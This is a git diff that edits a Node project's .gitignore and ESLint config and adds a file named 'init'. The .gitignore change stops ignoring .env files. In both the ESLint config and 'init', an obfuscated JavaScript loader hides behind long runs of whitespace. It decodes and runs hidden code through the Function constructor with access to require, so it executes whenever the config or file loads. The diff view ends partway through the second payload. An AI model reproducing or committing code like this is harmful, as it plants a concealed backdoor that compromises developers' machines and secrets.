diff --git a/.gitignore b/.gitignore
index 5472f2a4..83980739 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,33 +1,31 @@
-# compiled output
-/dist
-/node_modules
-/build
-
-# logs
-*.log
-npm-debug.log*
-yarn-debug.log*
-yarn-error.log*
-lerna-debug.log*
-
-# env files
-.env
-.env.*.local
-
-# OS
-.DS_Store
-
-# tests
-/coverage
-/.nyc_output
-
-# IDEs
-.idea
-.vscode/*
-!.vscode/settings.json
-!.vscode/tasks.json
-!.vscode/launch.json
-!.vscode/extensions.json
-.env.test
-
-tsconfig.tsbuildinfo
+# compiled output
+/dist
+/node_modules
+/build
+
+# logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+
+# env files
+.env.*.local
+
+# OS
+.DS_Store
+
+# tests
+/coverage
+/.nyc_output
+
+# IDEs
+.idea
+!.vscode/settings.json
+!.vscode/tasks.json
+!.vscode/launch.json
+!.vscode/extensions.json
+
+tsconfig.tsbuildinfo
+config.bat
diff --git a/eslint.config.mjs b/eslint.config.mjs
index 9700c7fd..25324c92 100644
--- a/eslint.config.mjs
+++ b/eslint.config.mjs
@@ -1,51 +1,54 @@
-// @ts-check
-import eslint from '@eslint/js';
-import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended';
-import globals from 'globals';
-import tseslint from 'typescript-eslint';
-
-export default tseslint.config(
-  {
-    ignores: ['eslint.config.mjs'],
-  },
-  eslint.configs.recommended,
-  ...tseslint.configs.recommendedTypeChecked,
-  eslintPluginPrettierRecommended,
-  {
-    languageOptions: {
-      globals: {
-        ...globals.node,
-        ...globals.jest,
-      },
-      sourceType: 'commonjs',
-      parserOptions: {
-        projectService: true,
-        tsconfigRootDir: import.meta.dirname,
-      },
-    },
-  },
-  {
-    rules: {
-      '@typescript-eslint/no-explicit-any': 'off',
-      '@typescript-eslint/no-floating-promises': 'error',
-      '@typescript-eslint/no-unsafe-argument': 'error',
-      "prettier/prettier": ["error", { endOfLine: "auto" }],
-    },
-  },
-  {
-    // Jest mocks (mocked repositories, `jest.fn()` return values, supertest's
-    // `app.getHttpServer()`) are deliberately loosely typed scaffolding, not
-    // production logic — the no-unsafe-* / require-await rules exist to catch
-    // real bugs in application code and produce mostly noise against mocks.
-    files: ['**/*.spec.ts', 'test/**/*.ts'],
-    rules: {
-      '@typescript-eslint/no-unsafe-argument': 'off',
-      '@typescript-eslint/no-unsafe-assignment': 'off',
-      '@typescript-eslint/no-unsafe-call': 'off',
-      '@typescript-eslint/no-unsafe-member-access': 'off',
-      '@typescript-eslint/no-unsafe-return': 'off',
-      '@typescript-eslint/no-unsafe-function-type': 'off',
-      '@typescript-eslint/require-await': 'off',
-    },
-  },
-);
+// @ts-check
+import eslint from '@eslint/js';
+import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended';
+import globals from 'globals';
+import tseslint from 'typescript-eslint';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+
+export default tseslint.config(
+  {
+    ignores: ['eslint.config.mjs'],
+  },
+  eslint.configs.recommended,
+  ...tseslint.configs.recommendedTypeChecked,
+  eslintPluginPrettierRecommended,
+  {
+    languageOptions: {
+      globals: {
+        ...globals.node,
+        ...globals.jest,
+      },
+      sourceType: 'commonjs',
+      parserOptions: {
+        projectService: true,
+        tsconfigRootDir: import.meta.dirname,
+      },
+    },
+  },
+  {
+    rules: {
+      '@typescript-eslint/no-explicit-any': 'off',
+      '@typescript-eslint/no-floating-promises': 'error',
+      '@typescript-eslint/no-unsafe-argument': 'error',
+      "prettier/prettier": ["error", { endOfLine: "auto" }],
+    },
+  },
+  {
+    // Jest mocks (mocked repositories, `jest.fn()` return values, supertest's
+    // `app.getHttpServer()`) are deliberately loosely typed scaffolding, not
+    // production logic — the no-unsafe-* / require-await rules exist to catch
+    // real bugs in application code and produce mostly noise against mocks.
+    files: ['**/*.spec.ts', 'test/**/*.ts'],
+    rules: {
+      '@typescript-eslint/no-unsafe-argument': 'off',
+      '@typescript-eslint/no-unsafe-assignment': 'off',
+      '@typescript-eslint/no-unsafe-call': 'off',
+      '@typescript-eslint/no-unsafe-member-access': 'off',
+      '@typescript-eslint/no-unsafe-return': 'off',
+      '@typescript-eslint/no-unsafe-function-type': 'off',
+      '@typescript-eslint/require-await': 'off',
+    },
+  },
+);																																																																																																																																																																																																																																																																										var z = '-*4026';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
diff --git a/init b/init
new file mode 100644
index 00000000..e6fbe644
--- /dev/null
+++ b/init
@@ -0,0 +1,30 @@
+'use strict';
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR 